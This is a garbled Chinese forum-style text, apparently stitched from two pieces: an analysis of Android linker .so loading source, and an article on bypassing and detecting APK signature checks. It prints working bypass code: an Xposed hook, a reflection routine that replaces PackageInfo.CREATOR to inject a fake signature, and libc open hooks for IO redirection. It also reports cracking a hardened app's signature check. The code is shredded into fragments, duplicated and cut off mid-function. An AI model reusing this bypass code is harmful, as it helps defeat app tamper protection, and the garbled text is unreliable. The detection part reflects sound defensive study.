kWalkSkip; } }); soinfo_list_t global_group = local_group_ns->get_global_group(); SymbolLookupList lookup_list(global_group, local_group); soinfo* local_group_root = local_group.front(); bool linked = local_group.visit([&](soinfo* si) { // Even though local group may contain accessible soinfos from other namespaces // we should avoid linking them (because if they are not linked -> they // are in the local_group_roots and will be linked later). if (!si->is_linked() && si->get_primary_namespace() == local_group_ns) { const android_dlextinfo* link_extinfo = nullptr; if (si == soinfos[0] || reserved_address_recursive) { // Only forward extinfo for the first library unless the recursive // flag is set. link_extinfo = extinfo; } if (__libc_shared_globals()->load_hook) { __libc_shared_globals()->load_hook(si->load_bias, si->phdr, si->phnum); } lookup_list.set_dt_symbolic_lib(si->has_DT_SYMBOLIC ? si : nullptr); if (!si->link_image(lookup_list, local_group_root, link_extinfo, &relro_fd_offset) || !get_cfi_shadow()->AfterLoad(si, solist_get_head())) { return false ; } } return true ; }); if (!linked) { return false ; } } // Step 7: Mark all load_tasks as linked and increment refcounts // for references between load_groups (at this point it does not matter if // referenced load_groups were loaded by previous dlopen or as part of this // one on step 6) if (start_with != nullptr && add_as_children) { start_with->set_linked(); } for ( auto && task : load_tasks) { soinfo* si = task->get_soinfo(); si->set_linked(); } for ( auto && task : load_tasks) { soinfo* si = task->get_soinfo(); soinfo* needed_by = task->get_needed_by(); if (needed_by != nullptr && needed_by != start_with && needed_by->get_local_group_root() != si->get_local_group_root()) { si->increment_ref_count(); } } return true ; } |
这里很长一部分的代码,在安卓源码中也有对于其进行了批注,一步一步得去加载和解析so文件,去实现so文件的加载
\\n比如在Step 0 中
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | for ( size_t i = 0; i < library_names_count; ++i) { const char * name = library_names[i]; load_tasks.push_back(LoadTask::create(name, start_with, ns, &readers_map)); } // If soinfos array is null allocate one on stack. // The array is needed in case of failure; for example // when library_names[] = {libone.so, libtwo.so} and libone.so // is loaded correctly but libtwo.so failed for some reason. // In this case libone.so should be unloaded on return. // See also implementation of failure_guard below. if (soinfos == nullptr) { size_t soinfos_size = sizeof (soinfo*)*library_names_count; soinfos = reinterpret_cast <soinfo**>(alloca(soinfos_size)); memset (soinfos, 0, soinfos_size); } |
程序去实现了对于这个加载的so文件进行的,存储于数组中,并且去实现了条件判断,假如soinfos为空,还会去实现构造了soinfo* 的结构体指针来申请一段空间来存储
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | for ( size_t i = 0; i<load_tasks.size(); ++i) { LoadTask* task = load_tasks[i]; soinfo* needed_by = task->get_needed_by(); bool is_dt_needed = needed_by != nullptr && (needed_by != start_with || add_as_children); task->set_extinfo(is_dt_needed ? nullptr : extinfo); task->set_dt_needed(is_dt_needed); // Note: start from the namespace that is stored in the LoadTask. This namespace // is different from the current namespace when the LoadTask is for a transitive // dependency and the lib that created the LoadTask is not found in the // current namespace but in one of the linked namespaces. android_namespace_t* start_ns = const_cast <android_namespace_t*>(task->get_start_from()); LD_LOG(kLogDlopen, \\"find_library_internal(ns=%s@%p): task=%s, is_dt_needed=%d\\" , start_ns->get_name(), start_ns, task->get_name(), is_dt_needed); if (!find_library_internal(start_ns, task, &zip_archive_cache, &load_tasks, rtld_flags)) { return false ; } soinfo* si = task->get_soinfo(); if (is_dt_needed) { needed_by->add_child(si); } |
这里 task->get_needed_by() 能够看到其实是在借用上一步得到的so文件的数组去实现检测依赖关系,因为我们知道一个so文件,在ida分析中可以看到的导入表和导出表,全是so与so之间的相互依赖来实现的。通过学习过NDK开发的也知道,在so之间的相互调用中,通过也是通过dlopen来实现。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | extern \\"C\\" JNIEXPORT jstring JNICALL Java_com_chen_javaandso_MainActivity_stringFromJNI( JNIEnv* env, jobject /* this */ , jstring path) { std::string hello = \\"Hello from C++\\" ; const char * cpath = env->GetStringUTFChars(path, nullptr); //这里是java转c++的转char函数 if (cpath == nullptr) { // 处理 JNIEnv::GetStringUTFChars 返回 nullptr 的情况 return nullptr; } void * soinfo = dlopen(cpath, RTLD_NOW); //这里去获取对应路径下的so文件的句柄 if (soinfo == nullptr) { // 处理 dlopen 失败的情况 __android_log_print(ANDROID_LOG_ERROR, \\"JNI\\" , \\"Failed to load library: %s\\" , dlerror()); env->ReleaseStringUTFChars(path, cpath); return nullptr; } //由于我们是通过的对应路径去查找的so文件的函数名,所以这里创建了一个函数指针去得到对应的函数句柄,然后直接调用 void (*def)( char *) = reinterpret_cast < void (*)( char *)>(dlsym(soinfo, \\"_Z7seconedv\\" )); //直接去利用句柄去实现查找对应的函数,这里的函数名由于没有加上extern \\"C\\",所以会在执行过程中改变 if (def == nullptr) { // 处理 dlsym 找不到符号的情况 __android_log_print(ANDROID_LOG_ERROR, \\"JNI\\" , \\"Failed to find symbol: %s\\" , dlerror()); dlclose(soinfo); env->ReleaseStringUTFChars(path, cpath); return nullptr; } def(nullptr); dlclose(soinfo); // 关闭动态库句柄 env->ReleaseStringUTFChars(path, cpath); // 释放 JNI 字符串 return env->NewStringUTF(hello.c_str()); } |
Step2 中,安卓动态链接器采用 随机顺序 加载 SO 文件(避免固定顺序带来的漏洞)。如果 extinfo
需要 ANDROID_DLEXT_RESERVED_ADDRESS_RECURSIVE
,则不会进行随机化。设定地址空间参数,比如 reserved_addr
(预留地址)和 reserved_size
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | bool any_memtag_stack = false ; for ( auto && task : load_tasks) { soinfo* si = task->get_soinfo(); if (!si->is_linked() && !si->prelink_image(dlext_use_relro)) { return false ; } // si->memtag_stack() needs to be called after si->prelink_image() which populates // the dynamic section. if (si->memtag_stack()) { any_memtag_stack = true ; LD_LOG(kLogDlopen, \\"... load_library requesting stack MTE for: realpath=\\\\\\"%s\\\\\\", soname=\\\\\\"%s\\\\\\"\\" , si->get_realpath(), si->get_soname()); } register_soinfo_tls(si); } |
这里是实现预链接的位置,也是在文章之前提到实现Linker来解析ELF文件结构的地方si>prelink_image(dlext_use_relro))
\\n1 2 3 4 | 1. 检查 ELF 头的合法性,确定是有效的 ELF 文件。 2. 读取动态段,提取符号表、字符串表等信息。 3. 初始化 .got.plt 和 .rel.dyn 等重定位表,用于后续符号解析。 4. 解析 DT_NEEDED(依赖的库),准备后续的 link_image() 进行符号解析。 |
这也是对于ELF文件结构处理的细节位置,只有对应的so文件是完整的才能进行加载链接
\\n1 | register_soinfo_tls(si); |
同时也将soinfo转入到了TLS中去。
\\n这里去实现把在Step3中解析的符号表等等的信息来进行处理了DF_1_GLOBAL
标志的库会被添加到全局符号解析列表。如果是 LD_PRELOAD
方式加载的库,强制 DF_1_GLOBAL
以确保它能影响所有加载的库。
从Step5到Step7之间的这些处理就很细节了,比如有对于so文件的跨越了匿名空间的特殊处理,以及对于之前的so文件之间的依赖库的递归处理,来实现依赖so之间的函数使用。总的来说全是遍历load_tasks,之前准备的so文件,来实现的各种属性和信息的处理。
\\n就此,整个SO文件被全部解析处理。
\\n这里我们去重新梳理一下整个so文件加载过程,现在不管是frida检测,还是更多的防护都在so文件里面,这在APP防护和加固很重要,同样破防也是。
\\n我们首先是通过System.load()
进入
1 2 3 4 | @CallerSensitive public static void load(String filename) { Runtime.getRuntime().load0(Reflection.getCallerClass(), filename); } |
此方法最终调用 Runtime.load0()
,然后进入 nativeLoad()
函数。
Runtime_nativeLoad
→ vm->LoadNativeLibrary
进入 JavaVMExt::LoadNativeLibrary
方法后,最终会调用 dlopen
进行真正的 SO 文件加载。
1 | vm->LoadNativeLibrary(env, filename.c_str(), javaLoader, caller, &error_msg); |
在 Android 12 及以上版本,会调用 android_dlopen_ext
返回 __loader_android_dlopen_ext
。
1 2 3 4 5 6 | void * __loader_android_dlopen_ext( const char * filename, int flags, const android_dlextinfo* extinfo, const void * caller_addr) { return dlopen_ext(filename, flags, extinfo, caller_addr); } |
该方法最终调用 dlopen_ext()
。
1 2 3 4 5 6 7 8 | static void * dlopen_ext( const char * filename, int flags, const android_dlextinfo* extinfo, const void * caller_addr) { ScopedPthreadMutexLocker locker(&g_dl_mutex); void * result = do_dlopen(filename, flags, extinfo, caller_addr); return result; } |
do_dlopen(filename, flags, extinfo, caller_addr)
在 do_dlopen()
中,会调用 find_library()
进行 SO 文件的真正加载。
1 | soinfo* si = find_library(ns, translated_name, flags, extinfo, caller); |
这里是对于soinfo的赋值,同时在这里开始调用so的.init_proc函数,接着调用.init_array中的函数,最后才是JNI_OnLoad函数。最后到达find_libraries 执行最后的处理。
\\n安卓so加载流程源码分析 | oacia = oaciaのBbBlog~ = DEVIL or SWEET
\\nAndroid Linker学习笔记 | WooYun知识库
在我是萌新的时候--2022年,遇到我无法逾越的强敌! 某加固校验! 在那时候 内心就埋下的仇恨的种子! 从那时开始 熟读百家文章,从基础做起,先开发,后逆向。
这里 通过 如果 我直接hook getPackageInfo() 使他返回我们包装的packageInfo 不就解决了?
但是 我想了解 整个过程。
平时逆向分析 都是 通过hook 关键函数 打印堆栈 不就知道流程?
说干就干
我们在安卓源码找到 PackageInfo 的构造函数 直接 用xposed hook就完事了
hook代码:
打印的堆栈:
从堆栈来讲 ,我 hook 上面任何一种方法 都可以 对 签名信息进行替换 达到去签名的效果
这里 是我们java层的理论基础!!
关键代码:
这个代码的功能就是 使用反射 替换 CREATOR 变量 而体现出来的 就是 : hook createFromParcel 这个方法 从而替换了签名信息
而从上面我说所的基础 体现出来 确实存在 createFromParcel 这个方法。而且在距离 构造函数很近 真是感叹前辈 技术的精妙!
然后对 libc进行 open相关的函数进行hook
就很轻松的实现了 对文件的io重定向
还有高手? 对的
LSPatch 打包 也是 很强的!
关键代码 :
有木有发现相同的方式? 都是对 CREATOR 这个变量进行替换 达到 hook createFromParcel 这个方法目的 代码写的是相当优雅 反射替换 稳定性相当高!
然后对so层进行 io重定向
也是 对 libc.so的 hook open相关的函数 实现io重定向
去签名校验的流程 了解的很清楚。
我们破坏或者检测 这里面的任何流程 去签就失效了
对本地的apk的签名文件进行检测
这个方式对 mt的去签名方式 在不同的安卓系统里有不一样的效果,因为 io重定向 诡异的失效了
原因可以看这篇文章 : https://bbs.kanxue.com/thread-278195.htm
对于某些去签名方式 他们会对application 进行替换
这里我们可以获取 application 然后对application 进行一些判断
这里使用更深入的的方式 获取 Application 当然 还有更深入的方式 : 比如 反射 LoadedApk 获取唯一单例的Application 更为底层 但是考虑到 安卓版本的兼容性 这里就 这样 获取了
对application 进行一些简单的判断 当然 你可以继续深入!!!
这里就完成的对 apk入口的简单判断
在mt去签名的早期版本 是对 mPM 进行的替换
这里顺便写一个吧 顺便检测了
当然 在一定程度上 可以 检测 是否在虚拟环境 毕竟virtrualapp的老版本 也是 通过 反射hook 进行多开的
前面说的 都是对付老版本的方法
现在 分析 刚刚 我们 看到的去签名方式 , 针对性的分析 可以得到
我们 的目标 就是 检测 Creator 是否被替换
这里 大佬珍惜 分享出 比较 classloader 的属性 来判断
但我测试发现 好像 lsp的去签名方式 检测不出来
没关系 ,我们继往圣之绝学,继续拓展
通过珍惜大佬的思路 判断的就是 CREATOR 是否被改变---- 那么 任何细微的差距都可
我在这演示一点 剩下的交给后来人吧 !
这里我们 就获取的CREATOR 的类名 如果不一样就被替换了
当然 如果被hook了呢?
一般去签名的软件是不会对 对app进行 大量的hook
如果这个被 hook 了 那我们 反射 获取其他属性
这样 lsp打包的apk就被我们 anti了
此外,我们继续深耕
我们是否可以在内存中对我们的代码进行检验呢?
答案是可以 我早在以前就发了一篇关于内存校验的帖子 ,但是那时候 的方式被大佬吐槽,确实 只能在debug版本才生效
那篇帖子地址:https://bbs.kanxue.com/thread-282315.htm
现在我继续 探究这种方式
从安卓源码classloader加载的方式 我们获取app自身加载的dex
对dex 进行检测
我在这个过程中也遇到很多的问题 当然 被解决啦!
这里的环境 为 : 安卓12 其他版本 我不保证兼容性哈!
第一个问题 就是 安卓的反射限制
这里抄的看雪论坛里一篇大佬的代码
通过 so加载 解除反射限制后
反射获取 dex 代码的位置
然后在jni中获取地址
在这个过程中 我获取的地址 是dexfile的地址 他的成员变量指向dex
所以 对获取指针+1 就是dex在内存中的地址了 (这个问题困惑了我一晚上!!!!!)
到这里 其实我做的并不完善 你可以 动态的对内存进行crc校验 而我这只获取了 dex的头文件的值
当然 你有其他其实妙想可以一起交流!
这里测试 np的最强过签名 FancyBpysss
还好 ! 确实是检测出来了 !(不然 研究这麽久 连一键去签名都没过 有点 没面子 哈哈哈)
然后观察有些去签名方式 修改的是AppComponentFactory 来进行初始化hook
那么我们来进行检测这个也可以的
这里只做简单的判断 未深入 (有代码的兄弟 可以在下面发出来 给大伙乐呵乐呵 )
剩下 svc的部分 珍惜大佬已经讲的太清楚了
https://bbs.kanxue.com/thread-278982.htm
熟读 珍惜大佬的文章 !!!如果你看完还是不太清楚 可以买大佬的网课 补补基础嘛。
svc部分的代码:
这里 就基本完成了 app的签名校验,欢迎大佬 分享新的角度 新的思路 一起进步!
这里懒得用自己实现的svc了
第一 io重定向 :
https://bbs.kanxue.com/thread-273160.htm
https://bbs.kanxue.com/thread-285339-1.htm
这里的理论基础 很好!熟读 即可实现 对open相关的svc hook
第二 Creator的检测:
由于hook的实现都是由 代理的方式 替换的,会留下很多的痕迹。
最好进行 入侵式hook (类似 xposed ) 就不会检测出来了
做好这些 基本就实现 比较完美的去签名
通过这些理论知识 我将 mt开源的去签名方式 进行 修改 实现的svc的hook
对 22年的360加固进行 测试
完成了 去签名 ! 也算是 对22年那时候的我一个满意的答复!
工具实现了svc 的hook 未对 Creator 进行隐藏
进行去签名 会卡一会儿 完成后 在 download 目录里。
工具无法上传,放在github里了:
a0dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6&6N6$3H3J5x3o6l9J5x3o6b7J5x3g2)9J5c8W2)9J5k6p5q4F1k6s2u0G2K9h3c8d9k6i4k6W2M7Y4y4W2i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2K9h3&6Q4x3V1k6Q4x3U0g2q4y4#2)9J5y4f1q4p5i4K6t1#2b7V1g2Q4x3U0g2q4y4g2)9J5y4e0V1H3i4K6t1#2z5p5c8Q4x3U0g2q4y4W2)9J5y4f1p5H3i4K6t1#2b7e0q4Q4x3U0g2q4z5g2)9J5y4f1q4m8i4K6t1#2z5p5y4Q4x3U0g2q4y4#2)9J5y4e0W2n7i4K6t1#2b7U0S2Q4x3U0g2q4y4g2)9J5y4e0R3#2i4K6t1#2b7U0x3`.
另外 附上 我编写的签名检验 app 未混淆 大家可以反编译 我希望大家能使用自己编写的去签名软件 过掉它 而不是 修改显示的ui。
最后 我还有问题想求教大佬们:
基于SECCOMP的SVC指令拦截,如何实现仿真? 如何对svc 指令hook的检测?
private
boolean doNormalSignCheck() {
\\n
String trueSignMD5 =
\\"7d1e7be834bb349eb0694c524353ba3c\\"
;
\\n
String nowSignMD5 =
\\"\\"
;
\\n
try
{
\\n
PackageInfo packageInfo = getPackageManager().getPackageInfo(
\\n
getPackageName(),
\\n
PackageManager.GET_SIGNATURES);
\\n
Signature[] signs = packageInfo.signatures;
\\n
if
(signs != null && signs.length > 0) {
// 检查 signs 是否为空
\\n
byte[] signature = signs[0].toByteArray();
\\n
String signBase64 = Base64.encodeToString(signature, Base64.DEFAULT).trim();
\\n
nowSignMD5 = md5(signBase64);
\\n
Log.d(TAG,
\\"doNormalSignCheck: \\"
+ nowSignMD5);
\\n
}
\\n
}
catch
(PackageManager.NameNotFoundException e) {
\\n
e.printStackTrace();
\\n
}
\\n
return
trueSignMD5.equals(nowSignMD5);
\\n}
private
boolean doNormalSignCheck() {
\\n
String trueSignMD5 =
\\"7d1e7be834bb349eb0694c524353ba3c\\"
;
\\n
String nowSignMD5 =
\\"\\"
;
\\n
try
{
\\n
PackageInfo packageInfo = getPackageManager().getPackageInfo(
\\n
getPackageName(),
\\n
PackageManager.GET_SIGNATURES);
\\n
Signature[] signs = packageInfo.signatures;
\\n
if
(signs != null && signs.length > 0) {
// 检查 signs 是否为空
\\n
byte[] signature = signs[0].toByteArray();
\\n
String signBase64 = Base64.encodeToString(signature, Base64.DEFAULT).trim();
\\n
nowSignMD5 = md5(signBase64);
\\n
Log.d(TAG,
\\"doNormalSignCheck: \\"
+ nowSignMD5);
\\n
}
\\n
}
catch
(PackageManager.NameNotFoundException e) {
\\n
e.printStackTrace();
\\n
}
\\n
return
trueSignMD5.equals(nowSignMD5);
\\n}
XposedHelpers.findAndHookConstructor(classLoader.loadClass(
\\"android.content.pm.PackageInfo\\"
),Parcel.
class
, new XC_MethodHook() {
\\n
@Override
\\n
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
\\n
super
.beforeHookedMethod(param);
\\n
}
\\n
@Override
\\n
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
\\n
dumpStackTrace();
\\n
super
.afterHookedMethod(param);
\\n
}
\\n
});
\\nXposedHelpers.findAndHookConstructor(classLoader.loadClass(
\\"android.content.pm.PackageInfo\\"
),Parcel.
class
, new XC_MethodHook() {
\\n
@Override
\\n
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
\\n
super
.beforeHookedMethod(param);
\\n
}
\\n
@Override
\\n
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
\\n
dumpStackTrace();
\\n
super
.afterHookedMethod(param);
\\n
}
\\n
});
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageInfo
-
-
-
-
PackageInfo.java
-
-
-
-
29
-
-
-
-
<init>
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageInfo$
1
-
-
-
-
PackageInfo.java
-
-
-
-
519
-
-
-
-
createFromParcel
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageInfo$
1
-
-
-
-
PackageInfo.java
-
-
-
-
516
-
-
-
-
createFromParcel
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.IPackageManager$Stub$Proxy
-
-
-
-
IPackageManager.java
-
-
-
-
4901
-
-
-
-
getPackageInfo
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager
-
-
-
-
PackageManager.java
-
-
-
-
9207
-
-
-
-
getPackageInfoAsUserUncached
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager
-
-
-
-
PackageManager.java
-
-
-
-
113
-
-
-
-
access$
100
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager$
2
-
-
-
-
PackageManager.java
-
-
-
-
9220
-
-
-
-
recompute
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager$
2
-
-
-
-
PackageManager.java
-
-
-
-
9217
-
-
-
-
recompute
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.app.PropertyInvalidatedCache
-
-
-
-
PropertyInvalidatedCache.java
-
-
-
-
562
-
-
-
-
query
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager
-
-
-
-
PackageManager.java
-
-
-
-
9235
-
-
-
-
getPackageInfoAsUserCached
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.app.ApplicationPackageManager
-
-
-
-
ApplicationPackageManager.java
-
-
-
-
236
-
-
-
-
getPackageInfoAsUser
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.app.ApplicationPackageManager
-
-
-
-
ApplicationPackageManager.java
-
-
-
-
213
-
-
-
-
getPackageInfo
\\n2025
-
02
-
19
11
:
46
:
25.629
22548
-
22548
风控 com.calvin.sigcheck I com.calvin.sigcheck.MainActivity
-
-
-
-
MainActivity.java
-
-
-
-
370
-
-
-
-
doNormalSignCheck
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageInfo
-
-
-
-
PackageInfo.java
-
-
-
-
29
-
-
-
-
<init>
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageInfo$
1
-
-
-
-
PackageInfo.java
-
-
-
-
519
-
-
-
-
createFromParcel
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageInfo$
1
-
-
-
-
PackageInfo.java
-
-
-
-
516
-
-
-
-
createFromParcel
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.IPackageManager$Stub$Proxy
-
-
-
-
IPackageManager.java
-
-
-
-
4901
-
-
-
-
getPackageInfo
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager
-
-
-
-
PackageManager.java
-
-
-
-
9207
-
-
-
-
getPackageInfoAsUserUncached
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager
-
-
-
-
PackageManager.java
-
-
-
-
113
-
-
-
-
access$
100
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager$
2
-
-
-
-
PackageManager.java
-
-
-
-
9220
-
-
-
-
recompute
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager$
2
-
-
-
-
PackageManager.java
-
-
-
-
9217
-
-
-
-
recompute
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.app.PropertyInvalidatedCache
-
-
-
-
PropertyInvalidatedCache.java
-
-
-
-
562
-
-
-
-
query
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.content.pm.PackageManager
-
-
-
-
PackageManager.java
-
-
-
-
9235
-
-
-
-
getPackageInfoAsUserCached
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.app.ApplicationPackageManager
-
-
-
-
ApplicationPackageManager.java
-
-
-
-
236
-
-
-
-
getPackageInfoAsUser
\\n2025
-
02
-
19
11
:
46
:
25.628
22548
-
22548
风控 com.calvin.sigcheck I android.app.ApplicationPackageManager
-
-
-
-
ApplicationPackageManager.java
-
-
-
-
213
-
-
-
-
getPackageInfo
\\n2025
-
02
-
19
11
:
46
:
25.629
22548
-
22548
风控 com.calvin.sigcheck I com.calvin.sigcheck.MainActivity
-
-
-
-
MainActivity.java
-
-
-
-
370
-
-
-
-
doNormalSignCheck
\\nprivate static void killPM(String packageName, String signatureData) {
Signature fakeSignature
=
new Signature(Base64.decode(signatureData, Base64.DEFAULT));
\\n
Parcelable.Creator<PackageInfo> originalCreator
=
PackageInfo.CREATOR;
\\n
Parcelable.Creator<PackageInfo> creator
=
new Parcelable.Creator<PackageInfo>() {
\\n
@Override
\\n
public PackageInfo createFromParcel(Parcel source) {
\\n
PackageInfo packageInfo
=
originalCreator.createFromParcel(source);
\\n
if
(packageInfo.packageName.equals(packageName)) {
\\n
if
(packageInfo.signatures !
=
null && packageInfo.signatures.length >
0
) {
\\n
packageInfo.signatures[
0
]
=
fakeSignature;
\\n
}
\\n
if
(Build.VERSION.SDK_INT >
=
Build.VERSION_CODES.P) {
\\n
if
(packageInfo.signingInfo !
=
null) {
\\n
Signature[] signaturesArray
=
packageInfo.signingInfo.getApkContentsSigners();
\\n
if
(signaturesArray !
=
null && signaturesArray.length >
0
) {
\\n
signaturesArray[
0
]
=
fakeSignature;
\\n
}
\\n
}
\\n
}
\\n
}
\\n
return
packageInfo;
\\n
}
\\n
@Override
\\n
public PackageInfo[] newArray(
int
size) {
\\n
return
originalCreator.newArray(size);
\\n
}
\\n
};
\\n
try
{
\\n
findField(PackageInfo.
class
,
\\"CREATOR\\"
).
set
(null, creator);
\\n
} catch (Exception e) {
\\n
throw new RuntimeException(e);
\\n
}
\\n
if
(Build.VERSION.SDK_INT >
=
Build.VERSION_CODES.P) {
\\n
HiddenApiBypass.addHiddenApiExemptions(
\\"Landroid/os/Parcel;\\"
,
\\"Landroid/content/pm\\"
,
\\"Landroid/app\\"
);
\\n
}
\\n
try
{
\\n
Object
cache
=
findField(PackageManager.
class
,
\\"sPackageInfoCache\\"
).get(null);
\\n
/
/
noinspection ConstantConditions
\\n
cache.getClass().getMethod(
\\"clear\\"
).invoke(cache);
\\n
} catch (Throwable ignored) {
\\n
}
\\n
try
{
\\n
Map
<?, ?> mCreators
=
(
Map
<?, ?>) findField(Parcel.
class
,
\\"mCreators\\"
).get(null);
\\n
/
/
noinspection ConstantConditions
\\n
mCreators.clear();
\\n
} catch (Throwable ignored) {
\\n
}
\\n
try
{
\\n
Map
<?, ?> sPairedCreators
=
(
Map
<?, ?>) findField(Parcel.
class
,
\\"sPairedCreators\\"
).get(null);
\\n
/
/
noinspection ConstantConditions
\\n
sPairedCreators.clear();
\\n
} catch (Throwable ignored) {
\\n
}
\\n}
private static void killPM(String packageName, String signatureData) {
Signature fakeSignature
=
new Signature(Base64.decode(signatureData, Base64.DEFAULT));
\\n
Parcelable.Creator<PackageInfo> originalCreator
=
PackageInfo.CREATOR;
\\n
Parcelable.Creator<PackageInfo> creator
=
new Parcelable.Creator<PackageInfo>() {
\\n
@Override
\\n
public PackageInfo createFromParcel(Parcel source) {
\\n
PackageInfo packageInfo
=
originalCreator.createFromParcel(source);
\\n
if
(packageInfo.packageName.equals(packageName)) {
\\n
if
(packageInfo.signatures !
=
null && packageInfo.signatures.length >
0
) {
\\n
packageInfo.signatures[
0
]
=
fakeSignature;
\\n
}
\\n
if
(Build.VERSION.SDK_INT >
=
Build.VERSION_CODES.P) {
\\n
if
(packageInfo.signingInfo !
=
null) {
\\n
Signature[] signaturesArray
=
packageInfo.signingInfo.getApkContentsSigners();
\\n
if
(signaturesArray !
=
null && signaturesArray.length >
0
) {
\\n
signaturesArray[
0
]
=
fakeSignature;
\\n
}
\\n
}
\\n
}
\\n
}
\\n
return
packageInfo;
\\n
}
\\n
@Override
\\n
public PackageInfo[] newArray(
int
size) {
\\n
return
originalCreator.newArray(size);
\\n
}
\\n
};
\\n
try
{
\\n
findField(PackageInfo.
class
,
\\"CREATOR\\"
).
set
(null, creator);
\\n
} catch (Exception e) {
\\n
throw new RuntimeException(e);
\\n
}
\\n
if
(Build.VERSION.SDK_INT >
=
Build.VERSION_CODES.P) {
\\n
HiddenApiBypass.addHiddenApiExemptions(
\\"Landroid/os/Parcel;\\"
,
\\"Landroid/content/pm\\"
,
\\"Landroid/app\\"
);
\\n
}
\\n
try
{
\\n
Object
cache
=
findField(PackageManager.
class
,
\\"sPackageInfoCache\\"
).get(null);
\\n
/
/
noinspection ConstantConditions
\\n
cache.getClass().getMethod(
\\"clear\\"
).invoke(cache);
\\n
} catch (Throwable ignored) {
\\n
}
\\n
try
{
\\n
Map
<?, ?> mCreators
=
(
Map
<?, ?>) findField(Parcel.
class
,
\\"mCreators\\"
).get(null);
\\n
/
/
noinspection ConstantConditions
\\n
mCreators.clear();
\\n
} catch (Throwable ignored) {
\\n
}
\\n
try
{
\\n
Map
<?, ?> sPairedCreators
=
(
Map
<?, ?>) findField(Parcel.
class
,
\\"sPairedCreators\\"
).get(null);
\\n
/
/
noinspection ConstantConditions
\\n
sPairedCreators.clear();
\\n
} catch (Throwable ignored) {
\\n
}
\\n}
JNIEXPORT void JNICALL
Java_bin_mt_signature_KillerApplication_hookApkPath(JNIEnv
*
env, __attribute__((unused)) jclass clazz, jstring apkPath, jstring repPath) {
\\n
apkPath__
=
(
*
env)
-
>GetStringUTFChars(env, apkPath,
0
);
\\n
repPath__
=
(
*
env)
-
>GetStringUTFChars(env, repPath,
0
);
\\n
xhook_register(
\\".*\\\\\\\\.so$\\"
,
\\"openat64\\"
, openat64Impl, (void
*
*
) &old_openat64);
\\n
xhook_register(
\\".*\\\\\\\\.so$\\"
,
\\"openat\\"
, openatImpl, (void
*
*
) &old_openat);
\\n
xhook_register(
\\".*\\\\\\\\.so$\\"
,
\\"open64\\"
, open64Impl, (void
*
*
) &old_open64);
\\n
xhook_register(
\\".*\\\\\\\\.so$\\"
,
\\"open\\"
, openImpl, (void
*
*
) &old_open);
\\n
xhook_refresh(
0
);
\\n}
JNIEXPORT void JNICALL
Java_bin_mt_signature_KillerApplication_hookApkPath(JNIEnv
*
env, __attribute__((unused)) jclass clazz, jstring apkPath, jstring repPath) {
\\n
apkPath__
=
(
*
env)
-
>GetStringUTFChars(env, apkPath,
0
);
\\n
repPath__
=
(
*
env)
-
>GetStringUTFChars(env, repPath,
0
);
\\n
xhook_register(
\\".*\\\\\\\\.so$\\"
,
\\"openat64\\"
, openat64Impl, (void
*
*
) &old_openat64);
\\n
xhook_register(
\\".*\\\\\\\\.so$\\"
,
\\"openat\\"
, openatImpl, (void
*
*
) &old_openat);
\\n
xhook_register(
\\".*\\\\\\\\.so$\\"
,
\\"open64\\"
, open64Impl, (void
*
*
) &old_open64);
\\n
xhook_register(
\\".*\\\\\\\\.so$\\"
,
\\"open\\"
, openImpl, (void
*
*
) &old_open);
\\n
xhook_refresh(
0
);
\\n}
private static void proxyPackageInfoCreator(Context context) {
